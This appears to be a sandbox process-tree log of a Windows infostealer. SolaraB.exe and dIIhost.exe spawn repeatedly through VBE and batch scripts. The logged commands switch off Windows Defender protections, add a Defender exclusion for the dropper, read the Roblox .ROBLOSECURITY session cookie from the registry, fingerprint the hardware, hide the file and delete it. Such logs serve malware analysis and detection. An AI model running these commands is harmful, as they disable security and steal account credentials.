C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 258⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY58⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY58⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption58⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory58⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid58⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER58⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name58⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause58⤵
-
C:\Windows\system32\PING.EXEping localhost59⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"57⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"58⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "59⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV160⤵
-
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"60⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"56⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"56⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"57⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "58⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"59⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"55⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"55⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"56⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "57⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"58⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"54⤵
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid55⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"55⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'55⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 255⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY55⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY55⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV156⤵
-
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption55⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory55⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid55⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER55⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name55⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause55⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV156⤵
-
-
C:\Windows\system32\PING.EXEping localhost56⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"54⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"55⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "56⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"57⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"53⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"53⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"54⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "55⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"56⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"52⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"52⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"53⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "54⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"55⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"51⤵
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid52⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"52⤵
- Views/modifies file attributes
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV153⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'52⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 252⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY52⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY52⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption52⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory52⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV153⤵
-
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid52⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER52⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name52⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause52⤵
-
C:\Windows\system32\PING.EXEping localhost53⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"51⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"52⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "53⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV154⤵
-
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"54⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"50⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"50⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"51⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "52⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"53⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"49⤵
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid50⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"50⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'50⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV151⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 250⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY50⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY50⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption50⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory50⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid50⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER50⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name50⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause50⤵
-
C:\Windows\system32\PING.EXEping localhost51⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"49⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"50⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "51⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"52⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"48⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"48⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"49⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "50⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"51⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"47⤵
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid48⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV149⤵
-
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"48⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'48⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 248⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY48⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY48⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV149⤵
-
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption48⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory48⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid48⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER48⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name48⤵
- Detects videocard installed
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause48⤵
-
C:\Windows\system32\PING.EXEping localhost49⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"47⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"48⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "49⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV150⤵
-
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"50⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"46⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"46⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"47⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "48⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV149⤵
-
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"49⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"45⤵
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid46⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"46⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'46⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 246⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY46⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV147⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY46⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV147⤵
-
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption46⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory46⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid46⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER46⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name46⤵
- Detects videocard installed
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV147⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause46⤵
-
C:\Windows\system32\PING.EXEping localhost47⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"45⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"46⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "47⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"48⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"44⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"44⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"45⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "46⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV147⤵
-
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"47⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"43⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"43⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"44⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "45⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"46⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"42⤵
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid43⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"43⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'43⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV144⤵
-
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 243⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY43⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY43⤵
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV144⤵
-
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" os get Caption43⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" computersystem get totalphysicalmemory43⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid43⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER43⤵
-
-
C:\Windows\System32\Wbem\wmic.exe"wmic" path win32_VideoController get name43⤵
- Detects videocard installed
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV144⤵
-
-
-
C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe" && pause43⤵
-
C:\Windows\system32\PING.EXEping localhost44⤵
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"42⤵
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"43⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "44⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"45⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"41⤵
-
-
C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"C:\Users\Admin\AppData\Local\Temp\SolaraB.exe"41⤵
- Modifies registry class
-
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\WinRAR\jpTA2wLftqPiPx135h9wafJ5T.vbe"42⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\WinRAR\jLO855Jnqn959BA8qy.bat" "43⤵
-
C:\WinRAR\UnZiper.exe"C:\WinRAR\UnZiper.exe"44⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"40⤵
- Drops file in Drivers directory
-
C:\Windows\System32\Wbem\wmic.exe"wmic.exe" csproduct get uuid41⤵
-
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dIIhost.exe"41⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dIIhost.exe'41⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 241⤵
-
-
